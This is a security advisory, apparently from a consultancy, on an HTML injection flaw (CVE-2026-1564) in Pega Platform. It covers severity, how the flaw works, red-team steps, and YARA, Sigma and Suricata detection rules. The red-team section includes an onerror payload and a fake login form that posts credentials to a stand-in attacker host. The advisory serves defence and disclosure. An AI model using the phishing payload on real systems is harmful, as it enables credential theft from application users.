CVE-2026-1564

Executive Summary

CVE-2026-1564 is an HTML Injection vulnerability affecting Pega Platform versions 8.1.0 through 25.1.1. The flaw exists in a user interface component and requires a high-privileged user with a developer role to exploit. Successful exploitation allows an attacker to inject arbitrary HTML into the application, potentially leading to phishing attacks, session hijacking, or defacement. Pega has released patches to address this issue.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise platform (Pega). Therefore, supply chain package security considerations are not directly applicable. However, organizations should ensure that any custom Pega components or integrations are reviewed for similar injection flaws.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that a full CVSS vector has not been officially assigned by NVD at this time. However, based on the vulnerability characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – Requires a developer role.
• User Interaction (UI): None (N) – No user interaction is required for exploitation.
• Scope (S): Changed (C) – The injection can impact other components.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Estimated Base Score: 4.1 (Medium)

Threat Level: Medium. The requirement for high privileges reduces the likelihood of widespread exploitation, but the potential for phishing and session hijacking makes it a significant risk for organizations using Pega.

Deep Dive & Mechanics

The vulnerability is an HTML Injection flaw in a user interface component of the Pega Platform. HTML Injection occurs when an application accepts user input and renders it as HTML without proper sanitization or encoding. In this case, a user with a developer role can inject malicious HTML into a field that is later rendered in the UI.

Mechanism:

1. An authenticated user with a developer role accesses a vulnerable UI component (e.g., a rule form, a section, or a harness).
2. The attacker inputs malicious HTML code into a text field or parameter that is not properly sanitized.
3. The application stores this input and later renders it in the context of another user's session (or the same user's session).
4. The injected HTML is executed by the victim's browser, potentially leading to:
   • Phishing: Displaying a fake login form to steal credentials.
   • Session Hijacking: Stealing session cookies via JavaScript (if script injection is possible, though this is HTML injection, not XSS).
   • Defacement: Altering the appearance of the application.
   • Data Theft: Exfiltrating sensitive data displayed on the page.

Root Cause: The application fails to properly encode or sanitize user-supplied input before rendering it in an HTML context. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Since this is a proprietary platform, specific code snippets are not publicly available. However, the general pattern is:

Vulnerable Code (Conceptual):

// Vulnerable: Directly rendering user input without encoding
String userInput = request.getParameter("description");
output.write("<div>" + userInput + "</div>");

Patched Code (Conceptual):

// Patched: Encoding user input before rendering
String userInput = request.getParameter("description");
String encodedInput = Encode.forHtml(userInput);
output.write("<div>" + encodedInput + "</div>");

Pega's patch likely involves implementing proper output encoding (e.g., using OWASP Java Encoder or similar) in the affected UI component.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Pega Platform instance (version 8.1.0 to 25.1.1).
• A user account with a developer role.

Exploitation Steps:

1. Log in to the Pega Platform with a developer account.
2. Navigate to a vulnerable UI component (e.g., a section rule, a harness, or a custom property).
3. Identify an input field that is not properly sanitized.
4. Inject malicious HTML, for example:

   <h1>Pwned</h1><img src=x onerror=alert('XSS')>
   

   (Note: This is HTML injection; JavaScript execution depends on the context. If the injection point is within a <script> tag or an event handler, it could lead to XSS.)
5. Save the rule or component.
6. When another user (or the same user) views the affected page, the injected HTML is rendered.

Example Payload (Phishing):

<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;">
  <form action="https://attacker.com/steal" method="POST">
    <h2>Session Expired. Please log in again.</h2>
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="Login">
  </form>
</div>

Blue Team

Detection and Prevention:

1. Input Validation: Implement strict input validation on all user-supplied fields, especially those used by developers.
2. Output Encoding: Ensure all user-supplied data is properly encoded before being rendered in HTML contexts. Use context-aware encoding (e.g., HTML entity encoding).
3. Content Security Policy (CSP): Deploy a strict CSP to mitigate the impact of HTML injection. For example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; style-src 'self' 'unsafe-inline';
   

4. Web Application Firewall (WAF): Use a WAF to detect and block common HTML injection patterns.
5. Regular Security Audits: Conduct regular code reviews and penetration testing to identify similar vulnerabilities.
6. Principle of Least Privilege: Limit the number of users with developer roles. Monitor their activities for suspicious behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains (e.g., for phishing form submissions).
  • Unusual HTML tags in HTTP responses (e.g., <script>, <iframe>, <form> with external actions).
• Host IOCs:
  • Modified Pega rule files containing suspicious HTML.
  • Unusual entries in Pega audit logs (e.g., creation or modification of rules by unexpected users).
• Application IOCs:
  • Unexpected pop-ups or forms in the Pega UI.
  • Redirections to external sites.
  • Changes to the application's appearance.

Detection Engineering

YARA Rule

rule Detect_Pega_HTML_Injection {
    meta:
        description = "Detects potential HTML injection payloads in Pega Platform logs or files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-1564"
    strings:
        $html_tag = /<[a-zA-Z][^>]*>/
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/
        $external_form = /<form[^>]*action\s*=\s*['"]https?:\/\//i
    condition:
        any of ($html_tag, $event_handler, $external_form)
}

Sigma Rule

title: Pega Platform HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-1564 by injecting HTML into Pega Platform
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: pega
detection:
    selection:
        EventID: "RuleSave"
        RuleType: "Section" OR "Harness" OR "FlowAction"
        Content|contains:
            - "<script>"
            - "<iframe>"
            - "<form"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in rule descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Pega Platform HTML Injection - Outbound Phishing Form"; flow:to_server,established; content:"POST"; http_method; content:"/steal"; http_uri; content:"username="; http_client_body; content:"password="; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Apply Patches: Upgrade to the latest patched version of Pega Platform as provided by the vendor. Contact Pega support for the specific hotfix.
2. Workaround: If immediate patching is not possible, restrict developer role access to only trusted users. Implement strict input validation and output encoding in custom components.
3. Long-term Prevention:
   • Adopt a secure coding standard that includes context-aware output encoding.
   • Use automated security scanning tools (SAST/DAST) to identify injection flaws.
   • Conduct regular security training for developers.
   • Implement a Web Application Firewall (WAF) with rules to block HTML injection attempts.

Valters IT
Securing Digital Ecosystems

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